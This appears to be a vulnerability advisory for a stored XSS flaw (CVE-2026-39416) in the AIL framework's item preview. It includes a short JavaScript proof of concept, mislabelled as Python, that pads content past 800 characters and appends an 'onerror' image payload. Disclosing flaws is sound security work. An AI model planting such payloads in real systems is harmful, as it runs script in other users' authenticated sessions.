CVE-2026-39416

Description

AIL framework is an open-source platform to collect, crawl, process and analyse unstructured data. Prior to 6.8, a stored cross-site scripting (XSS) vulnerability was identified in the modal item preview functionality. When item content longer than 800 characters was processed, attacker-controlled content was returned without an explicit text/plain content type, allowing the browser to interpret the response as active HTML. This could result in execution of arbitrary JavaScript in the context of an authenticated user viewing a crafted item. This vulnerability is fixed in 6.8.

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-39416 Stored XSS in AIL Framework // The vulnerability triggers when item content > 800 chars is previewed. function generatePayload() { // Malicious script to be executed var xssPayload = '<img src=x onerror=alert(1)>'; // Padding to ensure total length exceeds 800 characters // This is required to trigger the vulnerable code path in the modal preview var padding = 'A'.repeat(900); return padding + xssPayload; } // Simulated usage console.log('Payload length:', generatePayload().length);
